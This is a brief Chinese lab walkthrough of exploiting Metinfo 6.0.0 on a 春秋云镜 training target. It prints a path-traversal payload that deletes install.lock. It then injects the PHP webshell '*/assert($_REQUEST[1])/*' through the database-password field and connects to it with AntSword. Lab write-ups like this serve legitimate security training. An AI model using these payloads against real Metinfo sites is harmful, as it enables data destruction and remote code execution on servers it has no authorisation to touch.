声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
靶场介绍
Metinfo 6.0.0任意文件删除。后台密码:f2xWcke5KN6pfebu
春秋云镜开启靶场:
http://eci-2zegkoqp5gwq2o1tf5ys.cloudeci1.ichunqiu.com/
后台:http://eci-2zegkoqp5gwq2o1tf5ys.cloudeci1.ichunqiu.com/admin/index.php?n=login&c=login&a=doindex
账号admin 密码f2xWcke5KN6pfebu
登录后台 删除安装锁
payload
/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock
网站回到初始安装状态下
数据库密码payload
数据库密码= "*/assert($_REQUEST[1])/*"
保存后访问 http://eci-2zegkoqp5gwq2o1tf5ys.cloudeci1.ichunqiu.com/config/config_db.php?1=phpinfo();
蚁剑连接